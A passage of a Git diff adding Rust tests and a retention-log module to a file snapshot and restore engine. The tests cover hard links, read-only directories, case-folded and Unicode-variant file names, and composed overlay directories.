); +} + +#[test] +fn a_changed_path_seal_follows_a_link_made_and_a_link_removed() { + let folder = Folder::new(); + folder.write("a.txt", "one\n"); + folder.write("b.txt", "two\n"); + let (mut repository, first) = folder.seal(); + assert!(groups_of(&repository, &first).is_empty()); + + fs::remove_file(folder.root.join("b.txt")).unwrap(); + folder.link("a.txt", "b.txt"); + let linked = repository + .snapshot_changed_paths(None, SnapshotTrigger::Watcher, &[PathBuf::from("b.txt")]) + .unwrap(); + assert_eq!( + groups_of(&repository, &linked), + vec![vec!["a.txt", "b.txt"]] + ); + + fs::remove_file(folder.root.join("b.txt")).unwrap(); + let unlinked = repository + .snapshot_changed_paths(None, SnapshotTrigger::Watcher, &[PathBuf::from("b.txt")]) + .unwrap(); + assert!(groups_of(&repository, &unlinked).is_empty()); +} diff --git a/engine/furrow-core/src/repository/odd_names_tests.rs b/engine/furrow-core/src/repository/odd_names_tests.rs new file mode 100644 index 0000000000..6417ea17a1 --- /dev/null +++ b/engine/furrow-core/src/repository/odd_names_tests.rs @@ -0,0 +1,280 @@ +//! Restoring folders that are awkward to write: read-only directories, and +//! names that the file system being written folds into one. +//! +//! A Linux test cannot meet a case-insensitive file system, so the folding tests +//! switch the probe with `FURROW_TEST_NAME_FOLDING` and restore as a Mac would. + +use super::seal_tests::DATA_DIR; +use super::*; + +struct Folder { + _guard: std::sync::MutexGuard<'static, ()>, + _temp: tempfile::TempDir, + root: PathBuf, +} + +impl Folder { + fn new() -> Self { + let guard = DATA_DIR.lock().unwrap_or_else(|poison| poison.into_inner()); + let temp = tempfile::tempdir().unwrap(); + std::env::set_var("FURROW_DATA_DIR", temp.path().join("data")); + let root = temp.path().join("work"); + fs::create_dir_all(&root).unwrap(); + Self { + _guard: guard, + _temp: temp, + root, + } + } + + fn write(&self, relative: &str, body: &str) { + let path = self.root.join(relative); + fs::create_dir_all(path.parent().unwrap()).unwrap(); + fs::write(path, body).unwrap(); + } + + fn seal(&self) -> (FurrowRepository, ObjectId) { + FurrowRepository::attach_and_seal( + &self.root, + Some("test".to_owned()), + SnapshotTrigger::AgentRun, + SealOptions::default(), + ) + .unwrap() + } + + fn read(&self, relative: &str) -> Option { + fs::read_to_string(self.root.join(relative)).ok() + } + + fn mode(&self, relative: &str) -> u32 { + fs::symlink_metadata(self.root.join(relative)) + .unwrap() + .permissions() + .mode() + & 0o7777 + } + + /// Empties the folder the way a machine that never had the files is empty. + fn clear(&self) { + for child in fs::read_dir(&self.root).unwrap() { + let path = child.unwrap().path(); + if path.file_name() == Some(OsStr::new(".furrow")) { + continue; + } + make_writable(&path); + remove_path(&path).unwrap(); + } + } +} + +fn make_writable(path: &Path) { + if path.is_dir() { + fs::set_permissions(path, fs::Permissions::from_mode(0o755)).unwrap(); + for child in fs::read_dir(path).unwrap() { + make_writable(&child.unwrap().path()); + } + } +} + +/// Runs `body` as a restore onto a file system that folds names this way. +fn folding(spec: &str, body: impl FnOnce()) { + std::env::set_var(crate::name_fold::TEST_ENV, spec); + let outcome = std::panic::catch_unwind(std::panic::AssertUnwindSafe(body)); + std::env::remove_var(crate::name_fold::TEST_ENV); + if let Err(panic) = outcome { + std::panic::resume_unwind(panic); + } +} + +#[test] +fn a_read_only_directory_with_files_is_restored_and_left_read_only() { + let folder = Folder::new(); + folder.write("ro/inside.txt", "kept\n"); + folder.write("ro/deep/more.txt", "deeper\n"); + fs::set_permissions( + folder.root.join("ro/deep"), + fs::Permissions::from_mode(0o555), + ) + .unwrap(); + fs::set_permissions(folder.root.join("ro"), fs::Permissions::from_mode(0o555)).unwrap(); + let (repository, id) = folder.seal(); + folder.clear(); + drop(repository); + + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(folder.read("ro/inside.txt").as_deref(), Some("kept\n")); + assert_eq!(folder.read("ro/deep/more.txt").as_deref(), Some("deeper\n")); + assert_eq!(folder.mode("ro"), 0o555); + assert_eq!(folder.mode("ro/deep"), 0o555); + make_writable(&folder.root.join("ro")); +} + +#[test] +fn names_that_differ_only_in_case_restore_as_one_copy_and_name_the_other() { + let folder = Folder::new(); + folder.write("Readme.md", "lower\n"); + folder.write("README.md", "upper\n"); + let (repository, id) = folder.seal(); + folder.clear(); + drop(repository); + + folding("case", || { + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + let (_, plan) = repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(folder.read("README.md").as_deref(), Some("upper\n")); + assert_eq!(folder.read("Readme.md"), None); + assert_eq!(plan.held.len(), 1); + assert_eq!(plan.held[0].path, "Readme.md"); + assert_eq!(plan.held[0].reason, "same name as README.md here"); + }); +} + +#[test] +fn composed_and_decomposed_spellings_restore_as_one_copy() { + let folder = Folder::new(); + folder.write("caf\u{e9}.txt", "composed\n"); + folder.write("cafe\u{301}.txt", "decomposed\n"); + let (repository, id) = folder.seal(); + folder.clear(); + drop(repository); + + folding("unicode", || { + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + let (_, plan) = repository.rewind(&id, &[], false).unwrap(); + + // The decomposed spelling sorts first byte for byte, so it is kept. + assert_eq!( + folder.read("cafe\u{301}.txt").as_deref(), + Some("decomposed\n") + ); + assert_eq!(folder.read("caf\u{e9}.txt"), None); + assert_eq!(plan.held.len(), 1); + assert_eq!(plan.held[0].path, "caf\u{e9}.txt"); + }); +} + +#[test] +fn a_held_directory_takes_its_contents_with_it() { + let folder = Folder::new(); + folder.write("Docs/a.md", "lower dir\n"); + folder.write("DOCS/b.md", "upper dir\n"); + let (repository, id) = folder.seal(); + folder.clear(); + drop(repository); + + folding("case", || { + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + let (_, plan) = repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(folder.read("DOCS/b.md").as_deref(), Some("upper dir\n")); + assert_eq!(folder.read("DOCS/a.md"), None); + assert_eq!( + plan.held + .iter() + .map(|held| held.path.as_str()) + .collect::>(), + ["Docs"] + ); + }); +} + +#[test] +fn a_twin_already_on_disk_is_not_overwritten_by_a_newly_arrived_name() { + let folder = Folder::new(); + folder.write("README.md", "upper\n"); + let (repository, first) = folder.seal(); + folder.write("Readme.md", "lower\n"); + let (_, second) = FurrowRepository::attach_and_seal( + &folder.root, + Some("test".to_owned()), + SnapshotTrigger::AgentRun, + SealOptions::default(), + ) + .unwrap(); + drop(repository); + fs::remove_file(folder.root.join("Readme.md")).unwrap(); + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + repository.rewind(&first, &[], false).unwrap(); + + folding("case", || { + let (_, plan) = repository.rewind(&second, &[], false).unwrap(); + + assert_eq!(folder.read("README.md").as_deref(), Some("upper\n")); + assert_eq!(plan.held.len(), 1); + }); +} + +#[test] +fn a_file_system_that_keeps_every_name_restores_both_copies_and_holds_none() { + let folder = Folder::new(); + folder.write("Readme.md", "lower\n"); + folder.write("README.md", "upper\n"); + let (repository, id) = folder.seal(); + folder.clear(); + drop(repository); + + let mut repository = FurrowRepository::open(&folder.root).unwrap(); + let (_, plan) = repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(folder.read("Readme.md").as_deref(), Some("lower\n")); + assert_eq!(folder.read("README.md").as_deref(), Some("upper\n")); + assert!(plan.held.is_empty()); +} + +fn read_only_tree(folder: &Folder) { + folder.write("ro/inside.txt", "kept\n"); + folder.write("ro/deep/more.txt", "deeper\n"); + fs::set_permissions( + folder.root.join("ro/deep"), + fs::Permissions::from_mode(0o555), + ) + .unwrap(); + fs::set_permissions(folder.root.join("ro"), fs::Permissions::from_mode(0o555)).unwrap(); +} + +fn assert_read_only_copy(copy: &Path) { + assert_eq!( + fs::read_to_string(copy.join("ro/inside.txt")).unwrap(), + "kept\n" + ); + assert_eq!( + fs::read_to_string(copy.join("ro/deep/more.txt")).unwrap(), + "deeper\n" + ); + for name in ["ro", "ro/deep"] { + let mode = fs::metadata(copy.join(name)).unwrap().permissions().mode(); + assert_eq!(mode & 0o7777, 0o555, "{name}"); + } + make_writable(©.join("ro")); +} + +#[test] +fn a_fork_from_a_snapshot_copies_a_read_only_directory_with_files() { + let folder = Folder::new(); + read_only_tree(&folder); + let (mut repository, id) = folder.seal(); + let destination = folder._temp.path().join("fork-at"); + + let plan = repository.prepare_fork_at("at", &destination, &id).unwrap(); + repository.materialize_fork(plan).unwrap(); + + assert_read_only_copy(&destination); + make_writable(&folder.root.join("ro")); +} + +#[test] +fn a_live_fork_copies_a_read_only_directory_with_files() { + let folder = Folder::new(); + read_only_tree(&folder); + let (mut repository, _) = folder.seal(); + let destination = folder._temp.path().join("fork-live"); + + repository.fork("live", &destination).unwrap(); + + assert_read_only_copy(&destination); + make_writable(&folder.root.join("ro")); +} diff --git a/engine/furrow-core/src/repository/seal_tests.rs b/engine/furrow-core/src/repository/seal_tests.rs new file mode 100644 index 0000000000..7afd454773 --- /dev/null +++ b/engine/furrow-core/src/repository/seal_tests.rs @@ -0,0 +1,374 @@ +//! Sealing a plain folder: no Git, a stat cache that spares unchanged files, +//! changed-path seals, and a composed `.cell/` directory that restores apart. + +use super::*; +use std::sync::Mutex; + +/// The store location comes from the environment, so tests that set it take turns. +pub(super) static DATA_DIR: Mutex<()> = Mutex::new(()); + +struct Setup { + _guard: std::sync::MutexGuard<'static, ()>, + _temp: tempfile::TempDir, + root: PathBuf, + cell: PathBuf, +} + +impl Setup { + fn new() -> Self { + let guard = DATA_DIR.lock().unwrap_or_else(|poison| poison.into_inner()); + let temp = tempfile::tempdir().unwrap(); + std::env::set_var("FURROW_DATA_DIR", temp.path().join("data")); + let root = temp.path().join("work"); + let cell = temp.path().join("private"); + fs::create_dir_all(&root).unwrap(); + Self { + _guard: guard, + _temp: temp, + root, + cell, + } + } + + fn write(&self, relative: &str, body: &str) { + let path = self.root.join(relative); + fs::create_dir_all(path.parent().unwrap()).unwrap(); + fs::write(path, body).unwrap(); + } + + fn write_cell(&self, relative: &str, body: &str) { + let path = self.cell.join(relative); + fs::create_dir_all(path.parent().unwrap()).unwrap(); + fs::write(path, body).unwrap(); + } + + fn seal(&self, options: SealOptions) -> (FurrowRepository, ObjectId) { + FurrowRepository::attach_and_seal( + &self.root, + Some("test".to_owned()), + SnapshotTrigger::AgentRun, + options, + ) + .unwrap() + } + + fn reopen(&self) -> FurrowRepository { + FurrowRepository::open_composed(&self.root, Some(self.cell.clone())).unwrap() + } + + fn overlay(&self) -> SealOptions { + SealOptions { + overlay: Some(self.cell.clone()), + ..SealOptions::default() + } + } +} + +fn changed(paths: &[&str]) -> SealOptions { + SealOptions { + changed: Some(paths.iter().map(PathBuf::from).collect()), + ..SealOptions::default() + } +} + +fn blob_at(repository: &FurrowRepository, snapshot: &ObjectId, path: &str) -> Option { + let snapshot: Snapshot = repository + .store + .read_struct(snapshot, ObjectKind::Snapshot) + .unwrap(); + repository + .lookup_tree_path(&snapshot.root_tree, path.as_bytes()) + .unwrap() + .and_then(|entry| entry.target) +} + +fn root_tree(repository: &FurrowRepository, snapshot: &ObjectId) -> ObjectId { + let snapshot: Snapshot = repository + .store + .read_struct(snapshot, ObjectKind::Snapshot) + .unwrap(); + snapshot.root_tree +} + +/// Every path under `directory` with its mode and content, except the +/// engine's own `.furrow` directory. +fn digest(directory: &Path) -> Vec { + let mut lines = Vec::new(); + collect(directory, directory, &mut lines); + lines.sort(); + lines +} + +fn collect(base: &Path, directory: &Path, lines: &mut Vec) { + let Ok(children) = fs::read_dir(directory) else { + return; + }; + for child in children { + let path = child.unwrap().path(); + let relative = path.strip_prefix(base).unwrap().display().to_string(); + if relative == ".furrow" { + continue; + } + let metadata = fs::symlink_metadata(&path).unwrap(); + if metadata.is_dir() { + lines.push(format!("{relative}/ {:o}", metadata.permissions().mode())); + collect(base, &path, lines); + } else { + let body = fs::read(&path).unwrap(); + lines.push(format!( + "{relative} {:o} {}", + metadata.permissions().mode(), + hex::encode(blake3::hash(&body).as_bytes()) + )); + } + } +} + +#[test] +fn seals_a_folder_that_is_not_a_git_repository() { + let setup = Setup::new(); + setup.write("src/main.txt", "hello\n"); + assert!(!setup.root.join(".git").exists()); + + let (repository, id) = setup.seal(SealOptions::default()); + + assert!(blob_at(&repository, &id, "src/main.txt").is_some()); + assert!(!setup.root.join(".git").exists()); +} + +#[test] +fn a_file_untouched_since_it_was_read_is_not_read_again() { + let setup = Setup::new(); + setup.write("old.txt", "old\n"); + // Older than the timestamp granularity by the time it is first read. + std::thread::sleep(std::time::Duration::from_millis( + (crate::catalog::RACY_WINDOW_NANOS / 1_000_000 + 200) as u64, + )); + setup.write("fresh.txt", "fresh\n"); + let (repository, _) = setup.seal(SealOptions::default()); + let cached = |name: &str| { + repository + .store + .cached_file(&repository.workspace_id, name.as_bytes()) + .unwrap() + .unwrap() + }; + let (old, fresh) = (cached("old.txt"), cached("fresh.txt")); + assert!(!old.is_racy(), "a file older than the window is trusted"); + assert!(fresh.is_racy(), "a file touched inside the window is not"); + + let (repository, _) = setup.seal(SealOptions::default()); + let again = |name: &str| { + repository + .store + .cached_file(&repository.workspace_id, name.as_bytes()) + .unwrap() + .unwrap() + }; + assert_eq!(again("old.txt").cached_at_nanos, old.cached_at_nanos); + assert!( + again("fresh.txt").cached_at_nanos > fresh.cached_at_nanos, + "a racily clean file is read again" + ); +} + +#[test] +fn a_changed_file_is_captured_and_an_unchanged_one_is_not_revisited() { + let setup = Setup::new(); + setup.write("a.txt", "one\n"); + setup.write("b.txt", "one\n"); + let (repository, first) = setup.seal(SealOptions::default()); + let before = blob_at(&repository, &first, "a.txt"); + + setup.write("a.txt", "two\n"); + setup.write("b.txt", "two\n"); + let (repository, second) = setup.seal(changed(&["a.txt"])); + + assert_ne!(blob_at(&repository, &second, "a.txt"), before); + assert_eq!( + blob_at(&repository, &second, "b.txt"), + blob_at(&repository, &first, "b.txt"), + "a path that was not listed is not visited" + ); +} + +#[test] +fn an_empty_changed_list_means_nothing_changed() { + let setup = Setup::new(); + setup.write("a.txt", "one\n"); + let (repository, first) = setup.seal(SealOptions::default()); + setup.write("a.txt", "two\n"); + + let (repository_again, second) = setup.seal(changed(&[])); + + assert_eq!( + root_tree(&repository, &first), + root_tree(&repository_again, &second) + ); +} + +#[test] +fn created_and_deleted_paths_follow_the_changed_list() { + let setup = Setup::new(); + setup.write("keep.txt", "k\n"); + setup.write("gone.txt", "g\n"); + setup.seal(SealOptions::default()); + + setup.write("dir/new.txt", "n\n"); + fs::remove_file(setup.root.join("gone.txt")).unwrap(); + let (repository, id) = setup.seal(changed(&["dir", "gone.txt"])); + + assert!(blob_at(&repository, &id, "dir/new.txt").is_some()); + assert!(blob_at(&repository, &id, "gone.txt").is_none()); + assert!(blob_at(&repository, &id, "keep.txt").is_some()); +} + +#[test] +fn a_database_is_found_without_opening_every_file() { + let setup = Setup::new(); + let database = setup.root.join("state.db"); + let connection = rusqlite::Connection::open(&database).unwrap(); + connection + .execute_batch("CREATE TABLE t(x); INSERT INTO t VALUES (1);") + .unwrap(); + connection.close().map_err(|(_, error)| error).unwrap(); + setup.write("plain.txt", "not a database\n"); + + let (repository, id) = setup.seal(SealOptions::default()); + + let snapshot: Snapshot = repository + .store + .read_struct(&id, ObjectKind::Snapshot) + .unwrap(); + let paths: Vec<_> = snapshot + .sqlite_backups + .iter() + .map(|backup| backup.path.clone()) + .collect(); + assert_eq!(paths, [b"state.db".to_vec()]); +} + +#[test] +fn the_composed_directory_is_sealed_as_dot_cell_beside_the_workspace_files() { + let setup = Setup::new(); + setup.write("a.txt", "a\n"); + setup.write(".b", "sorts before the overlay\n"); + setup.write("z.txt", "z\n"); + setup.write_cell("turns/1.json", "{}\n"); + + let (repository, id) = setup.seal(setup.overlay()); + + assert!(blob_at(&repository, &id, ".cell/turns/1.json").is_some()); + assert!(blob_at(&repository, &id, "a.txt").is_some()); + assert!( + !setup.root.join(".cell").exists(), + "nothing lands in the workspace" + ); + let tree = root_tree(&repository, &id); + let mut names = Vec::new(); + tree::for_each_entry(&repository.store, &tree, |entry| { + names.push(String::from_utf8(entry.name).unwrap()); + Ok(()) + }) + .unwrap(); + assert_eq!(names, [".b", ".cell", "a.txt", "z.txt"]); +} + +#[test] +fn a_changed_path_seal_always_recomposes_the_directory() { + let setup = Setup::new(); + setup.write("a.txt", "a\n"); + setup.write_cell("turns/1.json", "one\n"); + let (repository, first) = setup.seal(setup.overlay()); + let before = blob_at(&repository, &first, ".cell/turns/1.json"); + + setup.write_cell("turns/1.json", "two\n"); + setup.write_cell("turns/2.json", "new\n"); + let options = SealOptions { + changed: Some(Vec::new()), + ..setup.overlay() + }; + let (repository, second) = setup.seal(options); + + assert_ne!(blob_at(&repository, &second, ".cell/turns/1.json"), before); + assert!(blob_at(&repository, &second, ".cell/turns/2.json").is_some()); +} + +#[test] +fn the_composed_tree_restores_byte_identical_into_two_places() { + let setup = Setup::new(); + setup.write("src/main.txt", "package main\n"); + setup.write("empty", ""); + setup.write_cell("turns/1.json", "{\"n\":1}\n"); + setup.write_cell("receipts/a.json", "{}\n"); + fs::set_permissions( + setup.cell.join("receipts/a.json"), + fs::Permissions::from_mode(0o600), + ) + .unwrap(); + let (repository, id) = setup.seal(setup.overlay()); + let (work, private) = (digest(&setup.root), digest(&setup.cell)); + + fs::remove_dir_all(setup.root.join("src")).unwrap(); + setup.write("stray.txt", "unsealed\n"); + fs::remove_dir_all(setup.cell.join("turns")).unwrap(); + setup.write_cell("receipts/extra.json", "unsealed\n"); + fs::write(setup.cell.join("receipts/a.json"), "damaged").unwrap(); + drop(repository); + let mut repository = setup.reopen(); + repository.rewind(&id, &[], false).unwrap(); + + assert_eq!(digest(&setup.root), work); + assert_eq!(digest(&setup.cell), private); + assert!(!setup.root.join(".cell").exists()); +} + +#[test] +fn a_composed_directory_that_did_not_exist_at_the_seal_is_emptied_on_restore() { + let setup = Setup::new(); + setup.write("a.txt", "a\n"); + let (repository, id) = setup.seal(SealOptions::default()); + setup.write_cell("late.json", "{}\n"); + + drop(repository); + let mut repository = setup.reopen(); + repository.rewind(&id, &[], false).unwrap(); + + assert!(digest(&setup.cell).is_empty()); +} + +#[test] +fn a_composed_workspace_keeps_its_ids_in_the_store_and_a_plain_one_in_the_tree() { + let setup = Setup::new(); + setup.write("a.txt", "a\n"); + let (first, _) = setup.seal(setup.overlay()); + assert!(!setup.root.join(".furrow").exists()); + let (workspace, family) = (first.workspace_id.clone(), first.family_id.clone()); + drop(first); + + let (again, _) = setup.seal(setup.overlay()); + assert_eq!((again.workspace_id, again.family_id), (workspace, family)); + assert!(!setup.root.join(".furrow").exists()); + + // Setups take turns (one data directory at a time), so release this one. + drop(setup); + let plain = Setup::new(); + plain.write("a.txt", "a\n"); + plain.seal(SealOptions::default()); + assert!(plain.root.join(WORKSPACE_FILE).exists()); + assert!(plain.root.join(FAMILY_FILE).exists()); +} + +#[test] +fn a_composed_workspace_is_reopened_by_its_path() { + let setup = Setup::new(); + setup.write("a.txt", "a\n"); + let (sealed, id) = setup.seal(setup.overlay()); + let workspace = sealed.workspace_id.clone(); + drop(sealed); + + let reopened = setup.reopen(); + assert_eq!(reopened.workspace_id, workspace); + assert_eq!(reopened.store.workspace_head(&workspace).unwrap(), Some(id)); + assert!(!setup.root.join(".furrow").exists()); +} diff --git a/engine/furrow-core/src/retention.rs b/engine/furrow-core/src/retention.rs new file mode 100644 index 0000000000..06fd627176 --- /dev/null +++ b/engine/furrow-core/src/retention.rs @@ -0,0 +1,513 @@ +use crate::model::ObjectId; +use crate::refs::RefLog; +use anyhow::Context; +use fs2::FileExt; +use serde::{Deserialize, Serialize}; +use std::collections::BinaryHeap; +use std::collections::{BTreeMap, BTreeSet}; +use std::fs::{self, File, OpenOptions}; +use std::io::{ErrorKind, Read, Seek, SeekFrom, Write}; +use std::path::{Path, PathBuf}; + +const MAGIC: &[u8; 4] = b"AGRT"; +const MAX_RECORD: usize = 4 * 1024 * 1024; +const HOUR: i64 = 60 * 60; +const DAY: i64 = 24 * HOUR; +const WEEK: i64 = 7 * DAY; +const ALL_SNAPSHOTS_WINDOW: i64 = DAY; +const HOURLY_WINDOW: i64 = 7 * DAY; +const DAILY_WINDOW: i64 = 90 * DAY; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +pub struct SequenceRange { + pub first: u64, + pub last: u64, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct Pin { + pub sequence: u64, + pub snapshot_id: ObjectId, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct RetentionState { + pub event_sequence: u64, + pub evaluated_through: u64, + pub evaluated_at: i64, + pub retained: Vec, + pub pins: Vec, + pub previous_frame: ObjectId, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] +enum Tier { + Hour, + Day, + Week, +} + +#[derive(Debug, Clone, Copy)] +struct Candidate { + sealed_at: i64, + sequence: u64, +} + +pub struct RetentionLog { + path: PathBuf, + lock_path: PathBuf, +} + +impl RetentionState { + fn initial() -> Self { + Self { + event_sequence: 0, + evaluated_through: 0, + evaluated_at: 0, + retained: Vec::new(), + pins: Vec::new(), + previous_frame: [0; 32], + } + } + + pub fn retains(&self, sequence: u64, snapshot_id: &ObjectId) -> bool { + sequence > self.evaluated_through + || self.retains_in_ranges(sequence) + || self + .pins + .binary_search_by_key(&sequence, |pin| pin.sequence) + .is_ok() + || self.pins.iter().any(|pin| pin.snapshot_id == *snapshot_id) + } + + pub fn is_pinned(&self, snapshot_id: &ObjectId) -> bool { + self.pins.iter().any(|pin| pin.snapshot_id == *snapshot_id) + } + + pub fn retained_count_through(&self) -> u64 { + self.retained + .iter() + .map(|range| range.last - range.first + 1) + .sum() + } + + pub fn retained_count(&self, head: u64) -> u64 { + let mut count = self.retained_count_through(); + if head > self.evaluated_through { + count = count.saturating_add(head - self.evaluated_through); + } + for pin in &self.pins { + if pin.sequence <= self.evaluated_through && !self.retains_in_ranges(pin.sequence) { + count = count.saturating_add(1); + } + } + count + } + + fn retains_in_ranges(&self, sequence: u64) -> bool { + self.retained + .binary_search_by(|range| { + if sequence < range.first { + std::cmp::Ordering::Greater + } else if sequence > range.last { + std::cmp::Ordering::Less + } else { + std::cmp::Ordering::Equal + } + }) + .is_ok() + } + + pub fn recent_sequences(&self, head: u64, limit: usize) -> Vec { + if limit == 0 || head == 0 { + return Vec::new(); + } + let mut intervals = BinaryHeap::new(); + if head > self.evaluated_through { + intervals.push((head, self.evaluated_through + 1)); + } + for range in &self.retained { + intervals.push((range.last.min(head), range.first)); + } + for pin in &self.pins { + if pin.sequence <= head { + intervals.push((pin.sequence, pin.sequence)); + } + } + + let mut result = Vec::with_capacity(limit.min(1024)); + let mut previous = None; + while result.len() < limit { + let Some((sequence, first)) = intervals.pop() else { + break; + }; + if sequence >= first { + if previous != Some(sequence) { + result.push(sequence); + previous = Some(sequence); + } + if sequence > first { + intervals.push((sequence - 1, first)); + } + } + } + result + } +} + +impl RetentionLog { + pub fn open(store_root: &Path, workspace_id: &str) -> anyhow::Result { + let workspace_dir = store_root.join("workspaces").join(workspace_id); + fs::create_dir_all(&workspace_dir)?; + Ok(Self { + path: workspace_dir.join("retention.log"), + lock_path: workspace_dir.join("retention.lock"), + }) + } + + pub fn state(&self) -> anyhow::Result { + let lock = self.lock()?; + let mut file = self.open_log()?; + let state = read_latest(&mut file)?; + FileExt::unlock(&lock)?; + Ok(state) + } + + pub fn plan(&self, refs: &RefLog, now: i64) -> anyhow::Result { + let current = self.state()?; + plan_state(refs, now, current.pins) + } + + pub fn apply(&self, refs: &RefLog, now: i64) -> anyhow::Result { + let lock = self.lock()?; + let mut file = self.open_log()?; + let current = read_latest(&mut file)?; + let mut planned = plan_state(refs, now, current.pins.clone())?; + if same_policy_state(¤t, &planned) { + FileExt::unlock(&lock)?; + return Ok(current); + } + planned.event_sequence = current.event_sequence + 1; + planned.previous_frame = current_frame_hash(&mut file)?.unwrap_or([0; 32]); + append_state(&mut file, &planned)?; + FileExt::unlock(&lock)?; + Ok(planned) + } + + pub fn pin(&self, refs: &RefLog, snapshot_id: ObjectId) -> anyhow::Result { + let record = refs + .find(&snapshot_id)? + .context("snapshot does not belong to this workspace timeline")?; + let lock = self.lock()?; + let mut file = self.open_log()?; + let mut state = read_latest(&mut file)?; + if state.is_pinned(&snapshot_id) { + FileExt::unlock(&lock)?; + return Ok(false); + } + state.pins.push(Pin { + sequence: record.sequence, + snapshot_id, + }); + state.pins.sort_by_key(|pin| pin.sequence); + state.event_sequence += 1; + state.previous_frame = current_frame_hash(&mut file)?.unwrap_or([0; 32]); + append_state(&mut file, &state)?; + FileExt::unlock(&lock)?; + Ok(true) + } + + pub fn unpin(&self, snapshot_id: &ObjectId) -> anyhow::Result { + let lock = self.lock()?; + let mut file = self.open_log()?; + let mut state = read_latest(&mut file)?; + let before = state.pins.len(); + state.pins.retain(|pin| pin.snapshot_id != *snapshot_id); + if state.pins.len() == before { + FileExt::unlock(&lock)?; + return Ok(false); + } + state.event_sequence += 1; + state.previous_frame = current_frame_hash(&mut file)?.unwrap_or([0; 32]); + append_state(&mut file, &state)?; + FileExt::unlock(&lock)?; + Ok(true) + } + + fn lock(&self) -> anyhow::Result { + let lock = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(&self.lock_path)?; + lock.lock_exclusive()?; + Ok(lock) + } + + fn open_log(&self) -> anyhow::Result { + Ok(OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(&self.path)?) + } +} + +fn plan_state(refs: &RefLog, now: i64, pins: Vec) -> anyhow::Result { + let pinned: BTreeSet<_> = pins.iter().map(|pin| pin.sequence).collect(); + let mut retained = BTreeSet::new(); + let mut buckets: BTreeMap<(Tier, i64), Candidate> = BTreeMap::new(); + let mut evaluated_through = 0_u64; + + refs.for_each_record(|record| { + evaluated_through = record.sequence; + let age = now.saturating_sub(record.sealed_at); + if age <= ALL_SNAPSHOTS_WINDOW || age < 0 || pinned.contains(&record.sequence) { + retained.insert(record.sequence); + return Ok(()); + } + let (tier, width) = if age <= HOURLY_WINDOW { + (Tier::Hour, HOUR) + } else if age <= DAILY_WINDOW { + (Tier::Day, DAY) + } else { + (Tier::Week, WEEK) + }; + let key = (tier, record.sealed_at.div_euclid(width)); + let candidate = Candidate { + sealed_at: record.sealed_at, + sequence: record.sequence, + }; + buckets + .entry(key) + .and_modify(|existing| { + if (candidate.sealed_at, candidate.sequence) + > (existing.sealed_at, existing.sequence) + { + *existing = candidate; + } + }) + .or_insert(candidate); + Ok(()) + })?; + + retained.extend(buckets.values().map(|candidate| candidate.sequence)); + retained.extend(pinned); + if evaluated_through > 0 { + retained.insert(evaluated_through); + } + Ok(RetentionState { + event_sequence: 0, + evaluated_through, + evaluated_at: now, + retained: compress_sequences(retained), + pins, + previous_frame: [0; 32], + }) +} + +fn compress_sequences(sequences: BTreeSet) -> Vec { + let mut ranges: Vec = Vec::new(); + for sequence in sequences { + if let Some(last) = ranges.last_mut() { + if last.last.checked_add(1) == Some(sequence) { + last.last = sequence; + continue; + } + } + ranges.push(SequenceRange { + first: sequence, + last: sequence, + }); + } + ranges +} + +fn same_policy_state(left: &RetentionState, right: &RetentionState) -> bool { + left.evaluated_through == right.evaluated_through + && left.retained == right.retained + && left.pins == right.pins +} + +fn append_state(file: &mut File, state: &RetentionState) -> anyhow::Result<()> { + let payload = serde_json::to_vec(state)?; + anyhow::ensure!(payload.len() <= MAX_RECORD, "retention record is too large"); + let checksum = blake3::hash(&payload); + file.seek(SeekFrom::End(0))?; + file.write_all(MAGIC)?; + file.write_all(&(payload.len() as u32).to_le_bytes())?; + file.write_all(checksum.as_bytes())?; + file.write_all(&payload)?; + file.sync_data()?; + Ok(()) +} + +fn read_latest(file: &mut File) -> anyhow::Result { + file.seek(SeekFrom::Start(0))?; + let file_len = file.metadata()?.len(); + let mut offset = 0_u64; + let mut state = RetentionState::initial(); + let mut previous = [0_u8; 32]; + while offset < file_len { + let start = offset; + let Some((next, frame_hash, end)) = read_frame(file, start)? else { + file.set_len(start)?; + file.sync_data()?; + break; + }; + anyhow::ensure!( + next.event_sequence == state.event_sequence + 1, + "broken retention sequence" + ); + anyhow::ensure!( + next.previous_frame == previous, + "broken retention hash chain" + ); + validate_state(&next)?; + state = next; + previous = frame_hash; + offset = end; + } + Ok(state) +} + +fn current_frame_hash(file: &mut File) -> anyhow::Result> { + file.seek(SeekFrom::Start(0))?; + let file_len = file.metadata()?.len(); + let mut offset = 0_u64; + let mut latest = None; + while offset < file_len { + let Some((_, frame_hash, end)) = read_frame(file, offset)? else { + return Ok(latest); + }; + latest = Some(frame_hash); + offset = end; + } + Ok(latest) +} + +fn read_frame( + file: &mut File, + start: u64, +) -> anyhow::Result> { + file.seek(SeekFrom::Start(start))?; + let mut magic = [0; 4]; + if let Err(error) = file.read_exact(&mut magic) { + return if error.kind() == ErrorKind::UnexpectedEof { + Ok(None) + } else { + Err(error.into()) + }; + } + anyhow::ensure!(&magic == MAGIC, "retention log corruption at byte {start}"); + let mut len_bytes = [0; 4]; + if file.read_exact(&mut len_bytes).is_err() { + return Ok(None); + } + let len = u32::from_le_bytes(len_bytes) as usize; + anyhow::ensure!(len <= MAX_RECORD, "retention record exceeds size limit"); + let mut checksum = [0; 32]; + if file.read_exact(&mut checksum).is_err() { + return Ok(None); + } + let mut payload = vec![0; len]; + if file.read_exact(&mut payload).is_err() { + return Ok(None); + } + anyhow::ensure!( + blake3::hash(&payload).as_bytes() == &checksum, + "retention checksum mismatch" + ); + let state = serde_json::from_slice(&payload).context("decode retention record")?; + let end = file.stream_position()?; + let mut hasher = blake3::Hasher::new(); + hasher.update(MAGIC); + hasher.update(&len_bytes); + 